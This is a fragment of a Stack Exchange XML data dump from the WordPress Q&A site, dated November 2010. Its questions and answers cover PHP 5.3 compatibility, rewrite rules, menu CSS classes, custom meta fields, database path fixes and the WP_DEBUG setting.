  <row Id="3571" PostTypeId="1" CreationDate="2010-11-02T19:25:43.020" Score="0" ViewCount="182" Body="&lt;p&gt;I recently installed a server with new php version - 5.3.3-1 and when I imported wordpress site and database, there were some problems with plugin settings - some of them were reset. In pagenavi plugin I even couldn't save settings at all. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the question is - &lt;strong&gt;what changes in php 5.3.3-1 are the ones that reset plugin settings or interfere with common wordpress plugin coding practices&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And other question is - &lt;strong&gt;what is the best newest php version recommended for wordpress and it's plugins to work without a hassle (for versions 2.3 - 3.0.1)&lt;/strong&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe someone can share most common deprecated php functions that are in frequent use in plugins? In old server php version is 5.2.6-3 and there everything works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wordpress version in use is 2.9.2, but there are lots of other various version wordpress installations on the server which should be placed to the new one&lt;/p&gt;&#xA;" OwnerUserId="1355" LastActivityDate="2010-11-03T02:18:01.410" Title="problems with wordpress and php version 5.3.3-1" Tags="&lt;plugins&gt;&lt;php&gt;&lt;server&gt;&lt;settings&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="3572" PostTypeId="1" AcceptedAnswerId="3573" CreationDate="2010-11-02T20:08:56.890" Score="0" ViewCount="57" Body="&lt;p&gt;When displaying a category how can I tell what category it is? Say I'm on &lt;code&gt;http://www.example.com/category/quotes&lt;/code&gt;, how can I get &lt;code&gt;quotes&lt;/code&gt; aside from parsing the URL? I tried &lt;code&gt;get_the_category()&lt;/code&gt; but it returns an array of all the categories of the first post shown in the page.&lt;/p&gt;&#xA;" OwnerUserId="745" LastActivityDate="2010-11-02T21:12:49.273" Title="How can I tell what category I'm in?" Tags="&lt;theme-development&gt;" AnswerCount="2" />
  <row Id="3573" PostTypeId="2" ParentId="3572" CreationDate="2010-11-02T20:14:43.317" Score="2" ViewCount="" Body="&lt;p&gt;This should get you category object with ID, slug and rest of info:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$wp_query-&amp;gt;get_queried_object();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-11-02T20:14:43.317" CommentCount="1" />
  <row Id="3574" PostTypeId="2" ParentId="3572" CreationDate="2010-11-02T21:12:49.273" Score="4" ViewCount="" Body="&lt;p&gt;You can get the category name with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;single_cat_title();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Reference: &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/single_cat_title&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/single_cat_title&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-11-02T21:12:49.273" CommentCount="2" />
  <row Id="3575" PostTypeId="2" ParentId="3537" CreationDate="2010-11-02T21:44:14.100" Score="4" ViewCount="" Body="&lt;p&gt;I don't know (or didn't know) much about the rewrite rules myself (but it seems &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-includes/rewrite.php#L1228&quot; rel=&quot;nofollow&quot;&gt;nobody does&lt;/a&gt;), but based on some other answers here, I got this to work. We add a new rewrite rule that matches &lt;code&gt;designers/designer_name/&lt;/code&gt;. We &quot;flush&quot; the rewrite rules so they get saved to the database, but make sure to do this only once, since it is an expensive operation. Now, we set up a pattern that will match our page and save the extra part in the &lt;code&gt;designer_name&lt;/code&gt; query variable. Since WordPress does not know it must look at this variable, we hook into the &lt;code&gt;query_vars&lt;/code&gt; filter and tell it to look at that too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, in the &lt;code&gt;page-designers.php&lt;/code&gt; theme file, we can do &lt;code&gt;get_query_var('designer_name')&lt;/code&gt; and it will give you the designer name. If you want extra stuff like paging (&lt;code&gt;designer/designer_name/page/2&lt;/code&gt;), you need to add an extra rewrite rule for that (or feeds, or whatever that starts with &lt;code&gt;designer/designer_name&lt;/code&gt;). But the basic stuff should work.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Plugin Name: WPA 3537&#xA;Plugin URI: http://wordpress.stackexchange.com/questions/3537/need-help-with-friendly-urls-in-wordpress&#xA;Description: Need help with friendly URL's in Wordpress&#xA;Version: 1.0&#xA;Author: Jan Fabry&#xA;*/&#xA;&#xA;register_activation_hook(__FILE__, 'wpa3537_flush_rules');&#xA;function wpa3537_flush_rules()&#xA;{&#xA;    add_rewrite_rule('designers/([^/]+)', 'index.php?pagename=designers&amp;amp;designer_name=$matches[1]', 'top');&#xA;    flush_rewrite_rules(false);&#xA;}&#xA;&#xA;add_filter('query_vars', 'wpa3537_query_vars');&#xA;function wpa3537_query_vars($query_vars)&#xA;{&#xA;    $query_vars[] = 'designer_name';&#xA;    return $query_vars;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-11-02T21:44:14.100" CommentCount="3" />
  <row Id="3576" PostTypeId="2" ParentId="3255" CreationDate="2010-11-02T22:10:09.507" Score="0" ViewCount="" Body="&lt;p&gt;This is not an answer but a suggestion. You can use buddypress:&#xA;&lt;a href=&quot;http://buddypress.org/&quot; rel=&quot;nofollow&quot;&gt;http://buddypress.org/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Profile Field Setup section is what you are looking for i think.&lt;/p&gt;&#xA;" OwnerUserId="1372" LastActivityDate="2010-11-02T22:10:09.507" />
  <row Id="3577" PostTypeId="2" ParentId="3555" CreationDate="2010-11-02T22:19:14.613" Score="4" ViewCount="" Body="&lt;p&gt;I am using &lt;a href=&quot;http://wordpress.org/extend/plugins/codestyling-localization/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/codestyling-localization/&lt;/a&gt;&#xA;Give it a chance i suggest :)&lt;/p&gt;&#xA;" OwnerUserId="1372" LastActivityDate="2010-11-02T22:19:14.613" />
  <row Id="3578" PostTypeId="1" AcceptedAnswerId="3675" CreationDate="2010-11-02T22:29:07.867" Score="1" ViewCount="436" Body="&lt;p&gt;Is there a way to change the text of the publish button on a custom post type to say some different?  For example, Save instead of Publish.   And also remove the draft button?&lt;/p&gt;&#xA;" OwnerUserId="151" LastActivityDate="2010-11-06T21:54:44.687" Title="Change the text on the Publish button" Tags="&lt;custom-post-types&gt;&lt;wp-admin&gt;" AnswerCount="5" FavoriteCount="2" />
  <row Id="3579" PostTypeId="2" ParentId="3570" CreationDate="2010-11-02T23:59:10.423" Score="1" ViewCount="" Body="&lt;p&gt;I think you have widgets and custom posts confused a little bit.  The &lt;code&gt;WP_Widget&lt;/code&gt; class is used to build configurable multi-instance widgets that can be used in your site theme.  My recommendation for that one question was to use the widget framework as inspiration to create a similar (but completely separate) class for creating multi-instance meta boxes on the post edit screen.  I discuss the functionality a bit more in &lt;a href=&quot;http://core.trac.wordpress.org/ticket/15066&quot; rel=&quot;nofollow&quot;&gt;a related Trac ticket&lt;/a&gt; (feature request).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After reading your question, here's what I gather:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You have a custom post type for CDs&lt;/li&gt;&#xA;&lt;li&gt;Each CD can have multiple tracks &lt;/li&gt;&#xA;&lt;li&gt;You want the ability to add tracks one-at-a-time through a custom edit form&lt;/li&gt;&#xA;&lt;li&gt;You want to add tracks via AJAX (after hitting the &quot;Add track&quot; button, the track information is automatically added to the CD and you can add another track)&lt;/li&gt;&#xA;&lt;li&gt;You would like the ability to dynamically drag-and-drop tracks into a different order&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;While this sounds like a very complex system at a first glance, it's actually not too complicated.  It's just comprised of several different elements, and the complexity lies in getting them to work together.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Custom Post Type&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;First you'll need a custom post type: CDs.  It sounds like you already have this set up, great start!&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Custom Meta Fields&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You'll also need to create several custom meta fields for your custom post type to hold your track details.  They should probably take the form of track_X where X is the track number.  As a start, you can set these manually: track_1, track_2, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll also need another custom meta field called track-order.  This will be an array that defines the order in which the tracks are displayed.  For example, if track-order were [1, 3, 2], you would display track_1 then track_3, then track_2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That, by itself, is the very minimum you'll need.  If you set it all up, you can add things manually by defining each track and then explicitly setting the order of the tracks.  I'd actually suggest starting there and making sure you can get the system to work the way you want and display properly first.  Adding AJAX controls to the interface and a drag-and-drop UI is all presentational - i.e. it doesn't affect how the back end of the system works, just how you interact with the data.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;AJAX the Interface&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Once you've got your custom fields in place, you'll create an AJAX-powered meta box to dynamically add track_X custom meta to your post.  This will allow you to add just one track or 100 tracks to each CD without having to pre-define a number of tracks.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Sortable List&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Then you'll need to use jQuery or another JavaScript library to enable a &lt;a href=&quot;http://jqueryui.com/demos/sortable/&quot; rel=&quot;nofollow&quot;&gt;Sortable&lt;/a&gt; interface for your list of tracks.  This will be tied in to your AJAX system and will dynamically update the data stored in track-order so that things display properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The last two parts (AJAX and jQuery) aren't WordPress-specific, which is why I didn't go into too much detail.  So to get you started, take a look at adding custom meta fields and custom meta boxes for your custom post type.  That should be enough to get you started.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-11-02T23:59:10.423" CommentCount="5" />
  <row Id="3580" PostTypeId="2" ParentId="2241" CreationDate="2010-11-03T00:08:48.163" Score="0" ViewCount="" Body="&lt;p&gt;currently the WPML plugin has some defauts vs the multiple installation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the already mentionned (Stauer) language site independence, but the most inconvenient thing is the images translation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a multisite installation you can install the same theme in the 2 different folders and change its localized pictures.&lt;/p&gt;&#xA;" OwnerUserId="1431" LastActivityDate="2010-11-03T00:08:48.163" CommentCount="1" />
  <row Id="3581" PostTypeId="2" ParentId="3184" CreationDate="2010-11-03T02:05:55.790" Score="1" ViewCount="" Body="&lt;p&gt;Use &lt;a href=&quot;http://wordpress.org/extend/plugins/auto-image-resizer/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/auto-image-resizer/&lt;/a&gt; &lt;br /&gt;&lt;br /&gt;&#xA; Add this to your functions.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function prune_image_sizes($sizes) {&#xA;// You can add other size like that for remove those sizes&#xA;//  unset($sizes['medium']);&#xA;    unset($sizes['large']);&#xA;&#xA;    return $sizes;&#xA;}&#xA;add_filter('intermediate_image_sizes_advanced', 'prune_image_sizes');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Set your large image option to 800px in media options panel.&lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what did you do? System will not create large size of image but will reduce original image size to large size ( 800px ) option. Most of developer dont like it but when client have to upload lots of image and dont have hosting space so much, this will helps.&lt;br /&gt;&#xA;(Sorry for my english)&lt;/p&gt;&#xA;" OwnerUserId="1372" LastActivityDate="2010-11-03T02:05:55.790" />
  <row Id="3582" PostTypeId="2" ParentId="3331" CreationDate="2010-11-03T02:15:22.643" Score="0" ViewCount="" Body="&lt;p&gt;Well, &#xA;I can suggest &lt;br /&gt;&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/pods/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/pods/&lt;/a&gt; &lt;br /&gt;&#xA;plugin home: &lt;a href=&quot;http://podscms.org/&quot; rel=&quot;nofollow&quot;&gt;http://podscms.org/&lt;/a&gt; &lt;br/&gt;&#xA;But this plugin need some php knowledge to use it for your work.&lt;/p&gt;&#xA;" OwnerUserId="1372" LastActivityDate="2010-11-03T02:15:22.643" CommentCount="1" />
  <row Id="3583" PostTypeId="2" ParentId="3571" CreationDate="2010-11-03T02:18:01.410" Score="1" ViewCount="" Body="&lt;p&gt;The latest and greatest php version is always the recommended version. Seriously. All core devs use it when developing trunk. Only a few bother to test older php versions, as can be seen by the occasional ticket opened related to php4 or php5.x incompatibility.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same cannot be said by plugin authors, however... As you pointed out...  &lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-11-03T02:18:01.410" />
  <row Id="3584" PostTypeId="1" CreationDate="2010-11-03T08:54:33.823" Score="1" ViewCount="86" Body="&lt;p&gt;I have wordpress and I use &lt;a href=&quot;http://wordpress.org/extend/plugins/1-bit-audio-player/&quot; rel=&quot;nofollow&quot;&gt;1 bit audio player (Wordpress Plugin)&lt;/a&gt; to add songs. When I try to download a song, it shows in the URL but it is not inserted in the description.&lt;/p&gt;&#xA;" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-04T12:48:46.240" LastActivityDate="2011-03-06T14:38:38.197" Title="1 bit audio player" Tags="&lt;3.0.1&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="3586" PostTypeId="1" AcceptedAnswerId="3598" CreationDate="2010-11-03T13:22:01.780" Score="0" ViewCount="402" Body="&lt;p&gt;I am using wordpress Version 2.9.2 and XML Sitemap Generator 3.2.3 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have registered with Google Webmaster Tools.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I get an error while notifying to Google and I really don't know what it means.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Heres a screenshot :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/T2dwe.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And when I click on view result it show me the following message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;Ping Test&#xA;&#xA;Trying to ping: http://www.google.com/webmasters/sitemaps/ping?sitemap=http%3A%2F%2Fsearock.bplaced.net%2Fsitemap.xml.gz. The sections below should give you an idea whats going on.&#xA;Errors, Warnings, Notices:&#xA;WP_DEBUG was set to false somewhere before. You might not see all debug information until you remove this declaration!&#xA;Result (text only):&#xA;Result (HTML):&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I want to debug the error where can I find WP_DEBUG ? Can someone tell me what's wrong here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note : I have completed Google Webmaster verification process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1293" LastActivityDate="2010-11-04T15:36:52.197" Title="XML Sitemap Generator can't notify google and bing" Tags="&lt;plugins&gt;&lt;errors&gt;&lt;seo&gt;&lt;google-search&gt;" AnswerCount="2" />
  <row Id="3587" PostTypeId="2" ParentId="3535" CreationDate="2010-11-03T13:41:25.530" Score="1" ViewCount="" Body="&lt;p&gt;Saying &quot;browser tab&quot;, I understand that you mean the &lt;a href=&quot;http://en.wikipedia.org/wiki/Favicon&quot; rel=&quot;nofollow&quot;&gt;Favicon&lt;/a&gt;.&#xA;Changing a favicon is easy, you just need favicon.ico (or favicon.gif or png) and place it so it can be accessed via the root of your website, like &lt;a href=&quot;http://example.cxm/favicon.ico&quot; rel=&quot;nofollow&quot;&gt;http://example.cxm/favicon.ico&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Browsers will fetch this icon and display it in the tab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also suggest which icon to use to the browser by using a &amp;lt;link&gt; tag in the header like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;head&amp;gt;&#xA;  &amp;lt;link rel=&quot;shortcut icon&quot; href=&quot;http://www.example.com/myicon.ico&quot;/&amp;gt;&#xA;&amp;lt;/head&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1458" LastActivityDate="2010-11-03T13:41:25.530" />
  <row Id="3588" PostTypeId="1" CreationDate="2010-11-03T14:14:12.040" Score="1" ViewCount="307" Body="&lt;p&gt;I have updated the UAM plugin from 1.0Beta2 to 1.1.4 (latest at the moment) and it stopped working. When I select a group to have rights for an article - the selection is not saved. &#xA;I checked with firebug - the info is present in HTTP POST content, but is not saved in the backend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I fix that?&lt;/p&gt;&#xA;" OwnerUserId="255" LastActivityDate="2010-11-03T20:57:36.950" Title="User Access Manager plugin" Tags="&lt;user-access&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="3589" PostTypeId="1" AcceptedAnswerId="3591" CreationDate="2010-11-03T15:09:08.770" Score="1" ViewCount="265" Body="&lt;p&gt;is there a way to allow admin users to add classes to individual menu items in the back end? we have done some individual javascripting and CSS using the title tag, but that is not flexible as it is visible to the end user, so the method is not suited effects needed to be applied to multiple items. &lt;/p&gt;&#xA;" OwnerUserId="784" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-11-04T02:17:33.557" LastActivityDate="2010-11-04T02:17:33.557" Title="How to specify or extend the CSS-class of a menu item?" Tags="&lt;custom-menus&gt;" AnswerCount="1" />
  <row Id="3590" PostTypeId="1" CreationDate="2010-11-03T15:28:48.607" Score="0" ViewCount="325" Body="&lt;p&gt;recently I found a problem is that all custom theme settings written by theme author are not working for a multisite enabled site. I've checked several themes and thought this workaround may help:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_theme_page('lindsay-koinaka', 'lindsay-koinaka', 'edit_themes', 'lindsay-koinaka', 'lindsay_koinaka_admin_page_init');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I changed it to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_theme_page('lindsay-koinaka', 'lindsay-koinaka', 'switch_themes', 'lindsay-koinaka', 'lindsay_koinaka_admin_page_init');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But hen I try to change settings I got the following message:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You do not have sufficient permissions to modify unregistered settings for this site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how to make theme settings support multisite enabled site? anybody has good ideas?&lt;/p&gt;&#xA;" LastActivityDate="2010-11-03T18:36:12.817" Title="Make theme settings support multisite enabled (WordPress Mu) site" Tags="&lt;themes&gt;&lt;theme-development&gt;&lt;multisite&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="3591" PostTypeId="2" ParentId="3589" CreationDate="2010-11-03T15:40:39.290" Score="6" ViewCount="" Body="&lt;p&gt;This is natively supported by WordPress. In the menus page, click &quot;Screen Options&quot; (in the upper right corner):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/rTND9.png&quot; alt=&quot;Screen Options&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then check &quot;CSS Classes&quot;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/gkeQh.png&quot; alt=&quot;Check CSS Classes&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will now have a &quot;CSS Classes&quot; Option for each menu item:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/ipED8.png&quot; alt=&quot;Enter CSS Classes&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2010-11-03T15:40:39.290" CommentCount="3" />
  <row Id="3592" PostTypeId="2" ParentId="3566" CreationDate="2010-11-03T16:03:34.060" Score="2" ViewCount="" Body="&lt;p&gt;When it runs, check the $setting argument thats passed to the function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;my_cforms_logic&lt;/strong&gt; gets called on several different hooks, some of which run almost simultaneously.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;###&#xA;### Your custom application logic features&#xA;###&#xA;### &quot;successMessage&quot;    $cformsdata = cforms datablock&#xA;### &quot;redirection&quot;       $cformsdata = cforms datablock&#xA;### &quot;filename&quot;          $cformsdata = $_REQUEST&#xA;### &quot;adminTO&quot;           $cformsdata = cforms datablock&#xA;### &quot;nextForm&quot;          $cformsdata = cforms datablock&#xA;###&#xA;### &quot;adminEmailTXT&quot;     $cformsdata = cforms datablock&#xA;### &quot;adminEmailHTML&quot;    $cformsdata = cforms datablock&#xA;### &quot;autoConfTXT&quot;       $cformsdata = cforms datablock&#xA;### &quot;autoConfHTML&quot;      $cformsdata = cforms datablock&#xA;###&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you only want to run your custom function at one of these hooks, say &quot;successMessage&quot;, then start your function off like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_cforms_logic($cformsdata,$oldvalue,$setting) {&#xA;&#xA;    if ('successMessage' != $setting) return $oldvalue;&#xA;&#xA;        // now, do your custom logic&#xA;        // [. . . ]&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Its interesting, I was just figuring that out the other day.&lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="290" LastEditorDisplayName="" LastEditDate="2010-11-04T04:56:35.703" LastActivityDate="2010-11-04T04:56:35.703" />
  <row Id="3593" PostTypeId="1" CreationDate="2010-11-03T16:08:47.240" Score="0" ViewCount="109" Body="&lt;p&gt;Recently I have deployed 2 sites from my local development area to the live site and ran into some issues when importing the posts.  The reference link for attachments still points to my localhost for some of the attachments.  I would like to remove the development sites but removing them will pull down the reference to some of the live attachments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was curious if anyone knows best practice for resolving this issue.  I know all the attachments are on the live server just the reference is missing. I used custom fields with full paths for most these posts.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have an idea of just editing the db directly to remove the reference to the files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for all help,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;JN&lt;/p&gt;&#xA;" OwnerUserId="874" LastActivityDate="2010-11-03T17:32:21.323" Title="Transferring theme and imported post attachments" Tags="&lt;3.0&gt;&lt;attachments&gt;&lt;import&gt;&lt;export&gt;" AnswerCount="2" />
  <row Id="3594" PostTypeId="2" ParentId="3593" CreationDate="2010-11-03T16:38:38.457" Score="0" ViewCount="" Body="&lt;p&gt;As I read your question, it looks like you are using custom fields to store full paths. I think the cleanest way is to run a SQL query to cleanup your custom fields.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE wp_postmeta SET meta_value = REPLACE(meta_value, 'MYOLDPATH', 'MYNEWPATH')&#xA;WHERE&#xA;meta_key = 'CUSTOMFIELDNAME'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Always backup your DB before you run an Update Query&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="984" LastActivityDate="2010-11-03T16:38:38.457" />
  <row Id="3595" PostTypeId="2" ParentId="3515" CreationDate="2010-11-03T17:03:42.120" Score="0" ViewCount="" Body="&lt;p&gt;Just to add another question,is there a way to sign out user with code?&lt;/p&gt;&#xA;" OwnerUserId="1147" LastActivityDate="2010-11-03T17:03:42.120" />
  <row Id="3596" PostTypeId="2" ParentId="3593" CreationDate="2010-11-03T17:32:21.323" Score="1" ViewCount="" Body="&lt;p&gt;If I read correctly it's not just your custom meta but also your attachments (all images, videos, media, etc)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you have phpmyadmin? Do an export of the database and do a search for &quot;http://&lt;em&gt;yourlocalhostaddress&lt;/em&gt;.com&quot; and replace with &quot;http://&lt;em&gt;yournewwebaddress&lt;/em&gt;.com&quot; save and reimport&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also do this with mysql but I'm very new to mysql commands and don't want to tell you the wrong one. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Again as Ethan mentioned always back up your database first. &lt;/p&gt;&#xA;" OwnerUserId="1352" LastActivityDate="2010-11-03T17:32:21.323" />
  <row Id="3597" PostTypeId="2" ParentId="3590" CreationDate="2010-11-03T18:36:12.817" Score="1" ViewCount="" Body="&lt;p&gt;See this post:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wpmututorials.com/known-issues/did-your-users-theme-options-and-widgets-page-disappear/&quot; rel=&quot;nofollow&quot;&gt;http://wpmututorials.com/known-issues/did-your-users-theme-options-and-widgets-page-disappear/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, pick a different cap until it works. Also see:&#xA;&lt;a href=&quot;http://codex.wordpress.org/Roles_and_Capabilities&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Roles_and_Capabilities&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1391" LastActivityDate="2010-11-03T18:36:12.817" CommentCount="1" />
  <row Id="3598" PostTypeId="2" ParentId="3586" CreationDate="2010-11-03T19:03:05.677" Score="1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Editing_wp-config.php#Debug&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;WP_DEBUG&lt;/code&gt;&lt;/a&gt; is a constant which you can define in &lt;code&gt;wp-config.php&lt;/code&gt; to disable hiding of PHP errors and notices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add &lt;code&gt;define('WP_DEBUG', true);&lt;/code&gt; to your config file to enable it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just remember to never leave it on for long on a live blog.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since all pings fail this is likely not an issue with specific sitemap service, but with ping process itself. I think it might be HTTP requests failing for some reason, but there is no way to tell definitively from information you provided so far.&lt;/p&gt;&#xA;" OwnerUserId="847" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-11-04T02:14:06.963" LastActivityDate="2010-11-04T02:14:06.963" CommentCount="2" />
  <row Id="3599" PostTypeId="1" AcceptedAnswerId="3609" CreationDate="2010-11-03T19:25:09.807" Score="1" ViewCount="340" Body="&lt;p&gt;I have the following temporary filter to fix a content error. We have data in our posts that have 4 digit zip codes, because the leading zero was cut when the original file was created. (For instance, a Massachusetts zip code is 0XXXX, but now in our content it is XXXX)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function fix_zip_code($content){&#xA;    if (preg_match('/&amp;lt;span class=&quot;postal-code&quot;&amp;gt;(\d{4})&amp;lt;\/span&amp;gt;/i',$content, $match)){&#xA;        $content = str_replace($match[0],'0'.$match[0],$content);&#xA;    }&#xA;    return $content;&#xA;}&#xA;add_filter('the_content', 'fix_zip_code');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I apply that filter to all the content at once and re-save the posts so I can remove the regex filter completely?&lt;/p&gt;&#xA;" OwnerUserId="10" LastActivityDate="2010-11-03T20:38:49.073" Title="How to apply content filter permanently?" Tags="&lt;filters&gt;&lt;the-content&gt;&lt;regex&gt;" AnswerCount="2" />
  <row Id="3600" PostTypeId="1" AcceptedAnswerId="3601" CreationDate="2010-11-03T19:25:21.380" Score="0" ViewCount="330" Body="&lt;p&gt;I've got to update a bit of sloppy code that shows the 5 most recent comments across the entire blog. The code is using WordPress' &lt;code&gt;get_comments()&lt;/code&gt; method, which doesn't appear to return comment id's, or comment links (direct links to comments within posts via the hash-tag).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I collect more information about the particular comments, and make them links to the actual comments within their parent pages?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h3&amp;gt;Recent Comments&amp;lt;/h3&amp;gt;&#xA;&amp;lt;ul&amp;gt;&#xA;&amp;lt;?php $comments = get_comments(array('status'=&amp;gt;'approve','number'=&amp;gt;'5')); ?&amp;gt;&#xA;&amp;lt;?php foreach ($comments as $comment): ?&amp;gt;&#xA;  &amp;lt;?php $post = get_post($comment-&amp;gt;comment_post_ID, 'OBJECT'); ?&amp;gt;&#xA;  &amp;lt;li&amp;gt;&amp;lt;?php print $comment-&amp;gt;comment_author; ?&amp;gt; on &#xA;      &amp;lt;a href=&quot;&amp;lt;?php print get_permalink($post-&amp;gt;post_ID); ?&amp;gt;&quot;&amp;gt;&#xA;        &amp;lt;?php print $post-&amp;gt;post_title; ?&amp;gt;&#xA;      &amp;lt;/a&amp;gt;&#xA;  &amp;lt;/li&amp;gt;&#xA;&amp;lt;?php endforeach; ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is located on the front page of the site, outside of the loop.&lt;/p&gt;&#xA;" OwnerUserId="92" LastActivityDate="2010-11-03T19:41:11.603" Title="Comment Link from get_comments()?" Tags="&lt;comments&gt;&lt;get-comments&gt;" AnswerCount="1" />
